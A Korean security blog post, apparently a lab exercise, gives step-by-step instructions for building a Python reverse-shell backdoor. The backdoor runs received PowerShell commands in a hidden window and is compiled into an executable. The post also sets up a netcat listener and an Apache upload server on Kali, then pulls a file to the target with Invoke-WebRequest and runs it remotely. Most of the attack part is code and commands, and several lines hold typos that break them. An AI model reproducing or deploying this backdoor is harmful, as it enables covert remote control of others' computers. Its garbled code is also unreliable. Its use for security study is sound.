Information Security Lab

Research on penetration testing and information security

Python/Backdoor Project

Project 1) 백도어 제작 후 백도어를 통한 공격 대상 PC 정보 수집 및 파일 전송

information-security-lab 2025. 4. 7. 08:28
목 차
Ⅰ. 개요

Ⅱ. 환경 구성

Ⅲ. 진행 절차
      1. 백도어 제작을 위한 패키지 설치
      2. 파일 업로드를 위한 디렉터리 생성 및 권한 부여
      3. 백도어 제작
      4. 백도어를 통해 공격 대상 PC 정보 수집 및 파일 전송
      5. 전송한 파일 원격 실행

Ⅳ. 마치며

 


 

경고

Warning

본 내용은 해킹 공부를 목적으로 작성되었습니다.

This content was written for penetration testing study.

본 내용은 공부 목적 외의 활용을 금하며,

This content is prohibited for use for purposes other than study,

악의적인 목적으로 활용 시

and you are notified that you may be subject to criminal punishment

형사 처벌을 받을 수 있음을 통보합니다.

if used for malicious purposes.

 


 

Ⅰ. 개요

1. 백도어 제작 과정을 탐구하기 위함

 

2. 제작한 백도어를 활용하여 공격 대상 PC 정보 수집 및 파일 전송을 실습하기 위함

 

 


 

 

Ⅱ. 환경 구성

1. Virtual Machine

- VMware Workstation Player(Kali Linux)

- Oracle VirtualBox(공격 대상 Windows 11 Home)

 

2. OS

- Kali Linux

- Windows 11 Home

 

3. tools

- netcat

- IDLE(Python 3.13 64-bit)

 

4. Language

- Python 3.13.2

 

 


 

 

Ⅲ. 진행 절차

1. 백도어 제작을 위한 패키지 설치

가. Pillow, opencv-python-headless, requests 설치

 

- 메모장에 아래와 같이 입력한 후 바탕화면에 requirements.txt 로 저장

Pillow
opencv-python-headless
requests

 

- Windows Command Prompt 실행 후 아래와 같이 입력

> cd desktop   // requirements.txt 파일을 바탕화면에 저장하였으므로 바탕화면으로 이동

> pip install -r requirements.txt   // requirements.txt 파일에 적힌 세 패키지 한 번에 설치

 

 

나. Apache 설치

 

- 백도어를 통해 공격 대상 PC에서 파일을 보내거나 가져올 때 웹 서버를 이용해야는데 이때 Apache가 필요

 

- 메모장에 아래와 같이 작성 후 바탕화면에 upload.php 로 저장

<?php
$uploaddir = '/var/www/html/uploads/';
$uploadfile = $uploaddir.basename($_FILE['file']['name']);
move_uploaded_file($FILE['file']['tmp_name'], $uploadfile);
?>

 

- Kali Linux 실행 후 메모장을 드래그해서 Kali Linux 내부로 전송 후 터미널에 아래와 같이 입력

$ sudo apt update
$ sudo apt install apache2 php libapache2-mod-php   // apache2 설치

 

- 터미널에 아래 명령을 입력하여 Apache2를 시작하고 부팅 시 자동으로 시작하도록 설정

$ sudo systemctl start apache2
$ sudo systemctl enable apache2

 

 

 

2. 파일 업로드를 위한 디렉터리 생성 및 권한 부여

가. 파일 업로드를 위한 디렉터리 생성

 

- 터미널에 아래 명령어를 입력하여 uploads 디렉터리 생성

$ sudo mkdir -p /var/www/html/uploads

 

- 터미널에 아래 명령어를 입력하여 권한 부여

$ sudo chown www-data:www-data /var/www/html/uploads   // 웹 서버가 uploads 디렉터리에 접근하여 파일을 업로드할 수 있도록 권한 부여
$ sudo chmod 755 /var/www/html/uploads   // 읽기, 실행 권한 부여

 

 

나. Kali Linux 바탕화면에 있는 upload.php 파일을 /var/www/html 디렉터리로 이동

 

 

 

3. 백도어 제작

가. IDLE(Python 3.13 64-bit)를 실행한 후 아래와 같이 코드 입력

// 필요한 라이브러리(네트워크 연결을 위한 소켓 모듈, 외부 명령 실행을 위한 서브 프로세스, 시간 지연을 위한 타임 모듈) 임포트
import socket
import subprocess
import time

ip = "Kali Linux IPv4 주소"
port = 4444

while True:   // 무한 루프를 통한 서버와의 연결 지속
	client_socket = socket.socket(socket_INET, socket.SOCK_STREAM)   // IPv4 주소 및 TCP 사용하여 소켓 객체 생성
    try:
    	client_socket.connect((ip, port))   // 서버에 연결 시도
        print("You are connected to the server!")
        
        while True:   // 서버에서 데이터 수신 및 처리하는 루프 생성
        	try:
            	data = client_socket.recv(4096)   // 서버에서 최대 4096byte 데이터 수신
                if not data:
                	break   // 서버에서 수신된 데이터가 없으면 루프 종료
                print(data)
                powershell_path = "powershell.exe 경로 입력"   // PowerShell 명령 실행을 위한 경로 설정
                proc = subprocess.Popen(   // 수신된 데이터를 PowerShell 명령으로 실행
                	[powershell_path, data.decode('utf-8').strip()],   // 수신된 데이터를 UTF-8로 디코딩하고 양쪽 공백 제거
                	stdout = subprocess.PIPE,   // 표준 출력 파이프 설정
                	stderr = subprocess.PIPE,   // 표준 오류 파이프 설정
                	text = True,   // 텍스트 모드 사용
                	creationflags = subprocess.CREATE_NO_WINDOW   // 새 창 생성하지 않음
                )
                stdout, stderr = proc.communicate()   // 명령 실행 결과 및 오류 메시지 수집
                client_socket.sendall((stdout + stderr).encode())   // 명령 실행 결과 및 오류 메시지를 서버로 전송
			except Exception as e:
            	print(f'error : {e}')   // 명령 실행중 예외 발생 시 오류 메시지 출력
                break
	
    excpet Exception as e:
    	print(f'connection error : {e}')   // 서버 연결 실패 시 오류 메시지 출력 및 재연결 시도 
        print("Retry after 3 seconds...")
        time.sleep(3)   // 3초 대기

	finally:
    	client_socket.close()   // 소켓 닫기

 

 

나. 코드 작성 완료 후 바탕화면에 backdoor.py 로 저장

 

 

다. Windows Command Prompt에서 아래 명령어를 입력하여 backdoor.py 파일을 사용해 실행 파일 생성

> pip install pyinstaller   // backdoor.py 파일을 사용하여 실행 파일을 생성하기 위한 pyinstaller 모듈 설치

> cd desktop

> pyinstaller --onefile --noconsole backdoor.py   // 실행 파일 생성을 위한 명령어

 

- 위의 내용을 완료하면 host PC 바탕화면에 dist/backdoor.exe, build 디렉터리, backdoor.spec 파일이 생성되는데 dist 디렉터리 내의 backdoor.exe가 백도어 실행 파일임

 

 

 

4. 백도어를 통해 공격 대상 PC 정보 수집 및 파일 전송

가. VirtualBox로 Windows 11(공격 대상 PC)을 실행한 후 backdoor.exe 파일을 드래그하여 공격 대상 PC로 전송

 

 

나. Kali Linux 터미널에서 아래 명령어를 입력하여 넷캣 실행

nc -lvnp 4444

 

 

다. 공격 대상 PC에 옮긴 backdoor.exe 더블 클릭하여 실행 후 Kali Linux에서 공격 대상 PC와 연결된 것을 확인

공격 대상 PC와 연결

 

 

라. 넷캣에서 Windows PowerShell 명령어를 통한 정보 수집

- ipconfig 명령어와 ls 명령어를 통한 정보 수집

정보 수집

 

 

마. 공격 대상 PC로 파일 전송

- nano 편집기를 사용하여 hello.txt 파일 생성 후 /var/www/html/uploads 디렉터리로 이동

hello.txt 파일 내용

 

-  아래 명령어 입력하여 hello.txt 파일에 적절한 권한 부여

$ sudo chown www-data:www-data /var/www/thml/uploads/hello.txt

$ sudo chmod 755 /var/www/html/uploads/hello.txt

 

- Kali Linux 터미널에서 아래 명령어 입력하여 hello.txt 파일을 공격 대상 PC 바탕화면으로 전송

Invoke-WebRequest -Uri "http://Kali Linux IPv4 주소/uploads/hello.txt" -OutFile "공격 대상 PC 바탕화면 경로/hello.txt"

공격 대상 PC로 파일 전송

 

 

 

5. 전송한 파일 원격 실행

가. hello.txt 파일 원격 실행

- 넷캣에서 아래 PowerShell 명령어 입력하여 공격 대상 PC 바탕화면의 hello.txt 파일 원격 실행

Start-Process -FilePath "공격 대상 PC 바탕화면 경로\hello.txt"

hello.txt 파일 원격 실행

 

 


 

 

Ⅳ. 마치며

  본 프로젝트에서 백도어를 통해 파일을 공격 대상 PC에 보내고 원격으로 실행하는 것을 실습하였다. 만일 보낸 파일이 아무런 위험이 없는 메모장 텍스트 파일이 아닌 악성 코드이고 이를 원격으로 실행했다면 공격 대상 PC는 큰 피해를 입었을 것이다.

 

  이와 같이 백도어는 상당히 위험하다. 이러한 백도어는 인터넷에서 신뢰할 수 없는 파일, 크랙 파일 등을 다운로드하는 행위 등으로 PC에 심어질 수 있는데, 한 번 백도어가 심어지면 발견하기도 어렵고 피해도 상당한 만큼 처음부터 백도어가 심어지지 않도록 주의가 필요하다.

 

 

 

끝.